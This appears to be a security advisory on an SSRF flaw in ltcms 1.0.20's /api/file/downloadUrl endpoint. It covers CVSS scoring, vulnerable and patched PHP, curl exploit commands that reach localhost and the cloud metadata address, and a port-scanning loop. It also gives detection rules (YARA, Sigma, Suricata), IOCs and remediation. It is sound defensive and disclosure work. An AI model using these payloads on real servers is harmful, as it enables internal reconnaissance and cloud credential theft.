CVE-2024-7743

Executive Summary

CVE-2024-7743 is a critical Server-Side Request Forgery (SSRF) vulnerability in wanglongcn ltcms version 1.0.20. The flaw resides in the /api/file/downloadUrl API endpoint, where the file parameter is not properly validated, allowing an attacker to force the server to make arbitrary HTTP requests to internal or external resources. This can lead to data exfiltration, internal network scanning, and potential remote code execution if combined with other vulnerabilities. The vendor has not responded to disclosure attempts, and no official patch is available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP-based CMS (ltcms) vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public proof-of-concept exists.

Deep Dive & Mechanics

The vulnerability is a classic SSRF in the downloadUrl function of the /api/file/downloadUrl endpoint. The application takes the file parameter from the user and passes it directly to a server-side HTTP request function (likely file_get_contents() or curl_exec() in PHP) without validating the URL scheme or destination. This allows an attacker to specify internal IP addresses (e.g., http://127.0.0.1:8080/admin) or cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/).

The attack flow:

1. Attacker sends a GET request to /api/file/downloadUrl?file=http://internal-service/.
2. The server fetches the content of the internal URL.
3. The server returns the fetched content to the attacker, or the attacker can use the server as a proxy to interact with internal services.

Vulnerable vs. Patched Code

Vulnerable Code (ltcms 1.0.20):

// /api/file/downloadUrl
public function downloadUrl() {
    $url = $_GET['file'];
    $content = file_get_contents($url);
    echo $content;
}

Patched Code (Hypothetical):

// /api/file/downloadUrl
public function downloadUrl() {
    $url = $_GET['file'];
    $parsedUrl = parse_url($url);
    $host = $parsedUrl['host'];
    // Block private IP ranges
    if (filter_var($host, FILTER_VALIDATE_IP) && !filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        die("Forbidden");
    }
    // Whitelist allowed domains
    $allowedDomains = ['example.com', 'api.example.com'];
    if (!in_array($host, $allowedDomains)) {
        die("Forbidden");
    }
    $content = file_get_contents($url);
    echo $content;
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install ltcms 1.0.20 on a local server (e.g., using Docker or XAMPP).
2. Ensure the server has an internal service running on port 8080 (e.g., a simple Python HTTP server).
3. Use the following exploit to test SSRF:

# Exploit: SSRF to internal service
curl "http://target.com/api/file/downloadUrl?file=http://127.0.0.1:8080/admin"

Advanced Exploitation:

• Use SSRF to access cloud metadata endpoints:

# AWS Metadata
curl "http://target.com/api/file/downloadUrl?file=http://169.254.169.254/latest/meta-data/"

• Use SSRF to scan internal network:

# Scan internal ports
for port in 80 443 8080 3306; do
    curl -s "http://target.com/api/file/downloadUrl?file=http://192.168.1.1:$port" | grep -q "Error" || echo "Port $port open"
done

Blue Team

Detection:

• Monitor for requests to /api/file/downloadUrl with suspicious file parameters (e.g., containing 127.0.0.1, 169.254.169.254, or internal IP ranges).
• Alert on outbound HTTP requests from the web server to internal IP addresses.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block SSRF attempts.
• Restrict outbound network access from the web server to only necessary external services.
• Apply input validation to the file parameter, allowing only specific domains or URL schemes.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Requests to /api/file/downloadUrl with file parameter containing internal IPs (e.g., 127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Outbound HTTP requests from the web server to internal IP addresses.
  • Unusual outbound connections to cloud metadata endpoints (e.g., 169.254.169.254).

• File IOCs:

  • Log entries in web server logs showing SSRF attempts.
  • Temporary files created by the server when fetching URLs (e.g., in /tmp/).

• Behavioral IOCs:

  • Unexpected internal network scans originating from the web server.
  • Data exfiltration via the downloadUrl endpoint.

Detection Engineering

YARA Rule

rule CVE_2024_7743_SSRF {
    meta:
        description = "Detects SSRF attempts targeting CVE-2024-7743 in ltcms"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7743"
    strings:
        $ssrf_pattern = "/api/file/downloadUrl?file="
        $internal_ip = /(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
        $metadata_ip = "169.254.169.254"
    condition:
        $ssrf_pattern and ($internal_ip or $metadata_ip)
}

Sigma Rule

title: CVE-2024-7743 SSRF Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts against ltcms /api/file/downloadUrl endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/file/downloadUrl'
        cs-uri-query|contains: 'file='
    filter:
        cs-uri-query|contains:
            - '127.0.0.1'
            - '169.254.169.254'
            - '10.'
            - '172.16.'
            - '172.17.'
            - '172.18.'
            - '172.19.'
            - '172.20.'
            - '172.21.'
            - '172.22.'
            - '172.23.'
            - '172.24.'
            - '172.25.'
            - '172.26.'
            - '172.27.'
            - '172.28.'
            - '172.29.'
            - '172.30.'
            - '172.31.'
            - '192.168.'
    condition: selection and filter
falsepositives:
    - Legitimate use of internal URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7743 SSRF Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/api/file/downloadUrl"; http_uri; content:"file="; http_uri; pcre:"/(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.169\.254)/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint: If possible, remove or disable the /api/file/downloadUrl endpoint until a patch is available.
2. Apply WAF rules: Block requests to /api/file/downloadUrl with file parameters containing internal IP addresses or suspicious URL schemes.
3. Network segmentation: Restrict outbound HTTP access from the web server to only trusted external services.

Long-term Fix:

• Input validation: Implement strict validation of the file parameter, allowing only specific domains or URL schemes (e.g., https:// only).
• URL whitelisting: Maintain a whitelist of allowed domains for the file parameter.
• Upgrade: Monitor the vendor's website for a patched version. If no patch is released, consider migrating to an alternative CMS.

Workaround:

• Modify the PHP code to use curl with CURLOPT_PROTOCOLS set to only allow HTTP and HTTPS, and implement a callback to block private IPs.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert